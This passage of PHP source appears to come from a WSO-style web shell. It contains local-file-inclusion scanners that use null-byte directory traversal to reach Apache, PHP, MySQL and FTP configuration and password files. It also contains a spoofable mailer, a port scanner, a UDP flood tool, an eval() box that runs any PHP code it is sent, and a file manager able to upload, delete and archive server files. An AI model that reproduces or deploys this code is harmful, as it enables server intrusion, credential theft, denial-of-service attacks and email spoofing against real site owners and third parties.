  586.             21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  587.             22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  588.             23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  589.             24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  590.             25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  591.             26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  592.             27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  593.             28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  594.             29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  595.             30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  596.             31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  597.             32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  598.             33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  599.             34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  600.             35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  601.                
  602.           $lfiphpini = array(
  603.             1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  604.             2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  605.             3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  606.             4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  607.             5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  608.             6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  609.             7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  610.             8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  611.             9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  612.             10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  613.             11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  614.             12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  615.             13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  616.             14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  617.             15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  618.             16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  619.             17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  620.             18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  621.             19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  622.             20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  623.             21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  624.             22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  625.             23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  626.             24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  627.             25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  628.             26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  629.             27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  630.        
  631.           $lfimysql = array(
  632.             1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  633.             2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  634.             3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  635.             4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  636.             5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  637.             6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  638.             7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  639.             8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  640.             9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  641.             10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  642.        
  643.           $lfiftp = array(
  644.             1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  645.             2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  646.             3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  647.             4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  648.             5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  649.             6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  650.             7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  651.             8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  652.             9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  653.             10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  654.             11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  655.             12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  656.             13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  657.             14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  658.             15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  659.             16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  660.             17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  661.             18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  662.             19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  663.             20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  664.             21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  665.             22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  666.             23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  667.             24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  668.             25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  669.             26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  670.             27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  671.             28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  672.             29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  673.             30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  674.             31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  675.             32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  676.             33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  677.             34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  678.             35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  679.             36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  680.             37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  681.             38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  682.             39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  683.             40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  684.             41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  685.             42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  686.             43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  687.             44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  688.        
  689.  
  690.          $x = 1;
  691.          if ( $type == 1 ) {
  692.             $res1 = FetchURL($target.$lfitest);
  693.             $res2 = FetchURL($target.$lfitest2);
  694.             $rhash1 = md5($res1);
  695.             $rhash2 = md5($res2);
  696.             if ($rhash1 != $rhash2) {
  697.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  698.             while($lfiaccess[$x]) {
  699.                 $res3 = FetchURL($target.$lfiaccess[$x]);
  700.                 $rhash3 = md5($res3);
  701.                 if ($rhash3 != $rhash2) {
  702.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfiaccess[$x]."">".$target."".$lfiaccess[$x]."</a><br  />";
  703.                 }
  704.                 else {            
  705.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />";
  706.                 }
  707.                 $x++;
  708.       }
  709.       }
  710.          }
  711.          if ( $type == 2 ) {
  712.             $res1 = FetchURL($target.$lfitest);
  713.             $res2 = FetchURL($target.$lfitest2);
  714.             $rhash1 = md5($res1);
  715.             $rhash2 = md5($res2);
  716.             if ($rhash1 != $rhash2) {
  717.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  718.             while($lficonfig[$x]) {
  719.                 $res3 = FetchURL($target.$lficonfig[$x]);
  720.                 $rhash3 = md5($res3);
  721.                 if ($rhash3 != $rhash2) {
  722.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lficonfig[$x]."">".$target."".$lficonfig[$x]."</a><br  />";
  723.                 }
  724.                 else {            
  725.                               print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />";
  726.                 }
  727.                 $x++;
  728.       }
  729.       }
  730.          }
  731.          if ( $type == 3 ) {
  732.             $res1 = FetchURL($target.$lfitest);
  733.             $res2 = FetchURL($target.$lfitest2);
  734.             $rhash1 = md5($res1);
  735.             $rhash2 = md5($res2);
  736.             if ($rhash1 != $rhash2) {
  737.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  738.             while($lfierror[$x]) {
  739.                 $res3 = FetchURL($target.$lfierror[$x]);
  740.                 $rhash3 = md5($res3);
  741.                 if ($rhash3 != $rhash2) {
  742.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfierror[$x]."">".$target."".$lfierror[$x]."</a><br  />";
  743.                 }
  744.                 else {            
  745.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />";
  746.                 }
  747.                 $x++;
  748.       }
  749.       }
  750.          }
  751.          if ( $type == 4 ) {
  752.             $res1 = FetchURL($target.$lfitest);
  753.             $res2 = FetchURL($target.$lfitest2);
  754.             $rhash1 = md5($res1);
  755.             $rhash2 = md5($res2);
  756.             if ($rhash1 != $rhash2) {
  757.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  758.             while($lfiphpini[$x]) {
  759.                 $res3 = FetchURL($target.$lfiphpini[$x]);
  760.                 $rhash3 = md5($res3);
  761.                 if ($rhash3 != $rhash2) {
  762.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfiphpini[$x]."">".$target."".$lfiphpini[$x]."</a><br  />";
  763.                 }
  764.                 else {            
  765.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />";
  766.                 }
  767.                 $x++;
  768.       }
  769.       }
  770.          }
  771.          if ( $type == 5 ) {
  772.             $res1 = FetchURL($target.$lfitest);
  773.             $res2 = FetchURL($target.$lfitest2);
  774.             $rhash1 = md5($res1);
  775.             $rhash2 = md5($res2);
  776.             if ($rhash1 != $rhash2) {
  777.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  778.             while($lfimysql[$x]) {
  779.                 $res3 = FetchURL($target.$lfimysql[$x]);
  780.                 $rhash3 = md5($res3);
  781.                 if ($rhash3 != $rhash2) {
  782.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfimysql[$x]."">".$target."".$lfimysql[$x]."</a><br  />";
  783.                 }
  784.                 else {            
  785.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />";
  786.                 }
  787.                 $x++;
  788.       }
  789.       }
  790.          }
  791.          if ( $type == 6 ) {
  792.             $res1 = FetchURL($target.$lfitest);
  793.             $res2 = FetchURL($target.$lfitest2);
  794.             $rhash1 = md5($res1);
  795.             $rhash2 = md5($res2);
  796.             if ($rhash1 != $rhash2) {
  797.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";
  798.             while($lfiftp[$x]) {
  799.                 $res3 = FetchURL($target.$lfiftp[$x]);
  800.                 $rhash3 = md5($res3);
  801.                 if ($rhash3 != $rhash2) {
  802.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfiftp[$x]."">".$target."".$lfiftp[$x]."</a><br  />";
  803.                 }
  804.                 else {            
  805.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />";
  806.                 }
  807.                 $x++;
  808.       }
  809.       }
  810.          }
  811. if ( $type == 7 ) {
  812.             $res1 = FetchURL($target.$lfitest);
  813.             $res2 = FetchURL($target.$lfitest2);
  814.             $rhash1 = md5($res1);
  815.             $rhash2 = md5($res2);
  816.             if ($rhash1 != $rhash2) {
  817.                 print "<font color='green'>[+] Exploitable!</font> <a href="".$target."".$lfitest."">".$target."".$lfitest."</a><br  />";{
  818.                 $res3 = FetchURL($target.$lfiprocenv);
  819.                 $rhash3 = md5($res3);
  820.                 if ($rhash3 != $rhash2) {
  821.                 print "<font color='green'>[+] File detected!</font> <a href="".$target."".$lfiprocenv."">".$target."".$lfiprocenv."</a><br  />";
  822.                 }
  823.                 else {            
  824.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />";
  825.                 }
  826.       }
  827.       }
  828.          }
  829.       }
  830. wsoFooter();
  831. }
  832. function actionphptools() {
  833. wsoHeader();
  834. ?><center><?php
  835. //mailer
  836. echo '<b>Mailer</b><br>
  837. <form action="'.$surl.'" method=POST>
  838. <input type="hidden" name="a" value="phptools">
  839. <input type=text name=to value=to><br>
  840. <input type=text name=from value=from><br>
  841. <input type=text name=subject value=subject><br>
  842. <input type=text name=body value=body><br>
  843. <input type=submit name=submit value=Submit></form>';
  844. if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
  845.     $headers = 'From: '.$_POST['from'];
  846.     mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  847.     echo 'Email sent.';
  848. }
  849.  
  850.  
  851. ///---------------------------------------------------------------------------
  852. //|Lame port scanner                                                          |
  853. //|needs alot of work                                                         |
  854. //|                                                                           |
  855. //|                                                                           |
  856. //---------------------------------------------------------------------------/
  857. echo '<br><b>Port Scanner</b><br>';
  858. //takes starting port
  859. $start = strip_tags($_POST['start']);
  860. //takes ending port
  861. $end = strip_tags($_POST['end']);
  862. //takes host address
  863. $host = strip_tags($_POST['host']);
  864.  
  865. //if host is not null and end and start ports and numeric
  866. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  867. //so start at the starting port and end when end port is reached
  868. for($i = $start; $i<=$end; $i++){
  869. //open a connection to remote host on port i
  870.     $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  871. //if connection is succesfull then echo it is open
  872.     if($fp){
  873.         echo 'Port '.$i.' is <font color=green>open</font><br>';
  874.     }
  875.     flush();
  876.     }
  877. }else{
  878. ?>
  879. <form action="?" method="POST">
  880. <input type="hidden" name="a" value="phptools">
  881. Host:<br />
  882. <input type="text" name="host" value="localhost"/><br />
  883. Port start:<br />
  884. <input type="text" name="start" value="0"/><br />
  885. Port end:<br />
  886. <input type="text" name="end" value="5000"/><br />
  887. <input type="submit" value="Scan Ports" />
  888. </form>
  889. <?php
  890. }
  891.  
  892. //UDP
  893. if(isset($_POST['host'])&&is_numeric($_POST['time'])){
  894.     $pakits = 0;
  895.     ignore_user_abort(TRUE);
  896.     set_time_limit(0);
  897.    
  898.     $exec_time = $_POST['time'];
  899.    
  900.     $time = time();
  901.     //print "Started: ".time('h:i:s')."<br>";
  902.     $max_time = $time+$exec_time;
  903.  
  904.     $host = $_POST['host'];
  905.    
  906.     for($i=0;$i<65000;$i++){
  907.             $out .= 'X';
  908.     }
  909.     while(1){
  910.     $pakits++;
  911.             if(time() > $max_time){
  912.                     break;
  913.             }
  914.             $rand = rand(1,65000);
  915.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  916.             if($fp){
  917.                     fwrite($fp, $out);
  918.                     fclose($fp);
  919.             }
  920.     }
  921.     echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second n";
  922.     echo '<br><br>
  923.         <form action="'.$surl.'" method=POST>
  924.         <input type="hidden" name="a" value="phptools">
  925.         Host: <input type=text name=host value=localhost>
  926.         Length (seconds): <input type=text name=time value=9999>
  927.         <input type=submit value=Go></form>';
  928. }else{ echo '<br><b>UDP Flood</b><br>
  929.             <form action=? method=POST>
  930.             <input type="hidden" name="a" value="phptools">
  931.             Host: <br><input type=text name=host value=localhost><br>
  932.             Length (seconds): <br><input type=text name=time value=9999><br>
  933.             <input type=submit value=Go></form>';
  934. }
  935. ?></center><?php
  936. wsoFooter();}
  937. function actionPhp() {
  938.     if(isset($_POST['ajax'])) {
  939.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  940.         ob_start();
  941.         eval($_POST['p1']);
  942.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "nrt\' ") . "';n";
  943.         echo strlen($temp), "n", $temp;
  944.         exit;
  945.     }
  946.     wsoHeader();
  947.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  948.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  949.         ob_start();
  950.         phpinfo();
  951.         $tmp = ob_get_clean();
  952.         $tmp = preg_replace('!(body|a:w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  953.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  954.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  955.     }
  956.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  957.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  958.     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  959.     echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  960.     if(!empty($_POST['p1'])) {
  961.         ob_start();
  962.         eval($_POST['p1']);
  963.         echo htmlspecialchars(ob_get_clean());
  964.     }
  965.     echo '</pre></div>';
  966.     wsoFooter();
  967. }
  968.  
  969. function actionFilesMan() {
  970.     wsoHeader();
  971.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  972.     if(!empty($_POST['p1'])) {
  973.         switch($_POST['p1']) {
  974.             case 'uploadFile':
  975.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  976.                     echo "Can't upload file!";
  977.                 break;
  978.             case 'mkdir':
  979.                 if(!@mkdir($_POST['p2']))
  980.                     echo "Can't create new dir";
  981.                 break;
  982.             case 'delete':
  983.                 function deleteDir($path) {
  984.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  985.                     $dh  = opendir($path);
  986.                     while ( ($item = readdir($dh) ) !== false) {
  987.                         $item = $path.$item;
  988.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  989.                             continue;
  990.                         $type = filetype($item);
  991.                         if ($type == "dir")
  992.                             deleteDir($item);
  993.                         else
  994.                             @unlink($item);
  995.                     }
  996.                     closedir($dh);
  997.                     @rmdir($path);
  998.                 }
  999.                 if(is_array(@$_POST['f']))
  1000.                     foreach($_POST['f'] as $f) {
  1001.                         if($f == '..')
  1002.                             continue;
  1003.                         $f = urldecode($f);
  1004.                         if(is_dir($f))
  1005.                             deleteDir($f);
  1006.                         else
  1007.                             @unlink($f);
  1008.                     }
  1009.                 break;
  1010.             case 'paste':
  1011.                 if($_SESSION['act'] == 'copy') {
  1012.                     function copy_paste($c,$s,$d){
  1013.                         if(is_dir($c.$s)){
  1014.                             mkdir($d.$s);
  1015.                             $h = @opendir($c.$s);
  1016.                             while (($f = @readdir($h)) !== false)
  1017.                                 if (($f != ".") and ($f != ".."))
  1018.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1019.                         } elseif(is_file($c.$s))
  1020.                             @copy($c.$s, $d.$s);
  1021.                     }
  1022.                     foreach($_SESSION['f'] as $f)
  1023.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  1024.                 } elseif($_SESSION['act'] == 'move') {
  1025.                     function move_paste($c,$s,$d){
  1026.                         if(is_dir($c.$s)){
  1027.                             mkdir($d.$s);
  1028.                             $h = @opendir($c.$s);
  1029.                             while (($f = @readdir($h)) !== false)
  1030.                                 if (($f != ".") and ($f != ".."))
  1031.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1032.                         } elseif(@is_file($c.$s))
  1033.                             @copy($c.$s, $d.$s);
  1034.                     }
  1035.                     foreach($_SESSION['f'] as $f)
  1036.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  1037.                 } elseif($_SESSION['act'] == 'zip') {
  1038.                     if(class_exists('ZipArchive')) {
  1039.                         $zip = new ZipArchive();
  1040.                         if ($zip->open($_POST['p2'], 1)) {
  1041.                             chdir($_SESSION['c']);
  1042.                             foreach($_SESSION['f'] as $f) {
  1043.                                 if($f == '..')
  1044.                                     continue;
  1045.                                 if(@is_file($_SESSION['c'].$f))
  1046.                                     $zip->addFile($_SESSION['c'].$f, $f);
  1047.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  1048.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  1049.                                     foreach ($iterator as $key=>$value) {
  1050.                                         $zip->addFile(realpath($key), $key);
  1051.                                     }
  1052.                                 }
  1053.                             }
  1054.                             chdir($GLOBALS['cwd']);
  1055.                             $zip->close();
  1056.                         }
  1057.                     }
  1058.                 } elseif($_SESSION['act'] == 'unzip') {
  1059.                     if(class_exists('ZipArchive')) {
  1060.                         $zip = new ZipArchive();
  1061.                         foreach($_SESSION['f'] as $f) {
  1062.                             if($zip->open($_SESSION['c'].$f)) {
  1063.                                 $zip->extractTo($GLOBALS['cwd']);
  1064.                                 $zip->close();
  1065.                             }
  1066.                         }
  1067.                     }
  1068.                 } elseif($_SESSION['act'] == 'tar') {
  1069.                     chdir($_SESSION['c']);
  1070.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  1071.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  1072.                     chdir($GLOBALS['cwd']);
  1073.                 }
  1074.                 unset($_SESSION['f']);
  1075.                 break;
  1076.             default:
  1077.                 if(!empty($_POST['p1'])) {
  1078.                     $_SESSION['act'] = @$_POST['p1'];
  1079.                     $_SESSION['f'] = @$_POST['f'];
  1080.                     foreach($_SESSION['f'] as $k => $f)
  1081.                         $_SESSION['f'][$k] = urldecode($f);
  1082.                     $_SESSION['c'] = @$_POST['c'];
  1083.                 }
  1084.                 break;
  1085.         }
  1086.     }
  1087.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1088.     if($dirContent === false) {    echo 'Can't open this folder!';wsoFooter(); return; }
  1089.     global $sort;
  1090.     $sort = array('name', 1);
  1091.     if(!empty($_POST['p1'])) {
  1092.         if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
  1093.             $sort = array($match[1], (int)$match[2]);
  1094.     }
  1095. echo "<script>
  1096.     function sa() {
  1097.         for(i=0;i<d.files.elements.length;i++)
  1098.             if(d.files.elements[i].type == 'checkbox')
  1099.                 d.files.elements[i].checked = d.files.elements[0].checked;
  1100.     }
  1101.  
  1102. </script>
  1103. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1104. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_".($sort[1]?0:1)."")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_".($sort[1]?0:1)."")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_".($sort[1]?0:1)."")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_".($sort[1]?0:1)."")'>Permissions</a></th><th>Actions</th></tr>";
  1105.     $dirs = $files = array();
  1106.     $n = count($dirContent);
  1107.     for($i=0;$i<$n;$i++) {
  1108.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1109.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1110.         $tmp = array('name' => $dirContent[$i],
  1111.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  1112.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1113.                      'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1114.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1115.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1116.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1117.                     );
  1118.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1119.             $files[] = array_merge($tmp, array('type' => 'file'));
  1120.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1121.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1122.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  1123.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1124.     }
  1125.     $GLOBALS['sort'] = $sort;
  1126.     function wsoCmp($a, $b) {
  1127.         if($GLOBALS['sort'][0] != 'size')
  1128.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1129.         else
  1130.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1131.     }
  1132.     usort($files, "wsoCmp");
  1133.     usort($dirs, "wsoCmp");
  1134.     $files = array_merge($dirs, $files);
  1135.     $l = 0;
  1136.     foreach($files as $f) {
  1137.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g('FilesTools',null,''.urlencode($f['name']).'', 'view')">'.htmlspecialchars($f['name']):'g('FilesMan',''.$f['path'].'');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g('FilesTools',null,''.urlencode($f['name']).'','chmod')">'.$f['perms']
  1138.             .'</td><td><a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'touch')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'download')">D</a>':'').'</td></tr>';
  1139.         $l = $l?0:1;
  1140.     }
  1141.     echo "<tr><td colspan=7>
  1142.  
  1143.     <input type=hidden name=a value='FilesMan'>
  1144.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1145.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1146.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1147.     if(class_exists('ZipArchive'))
  1148.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
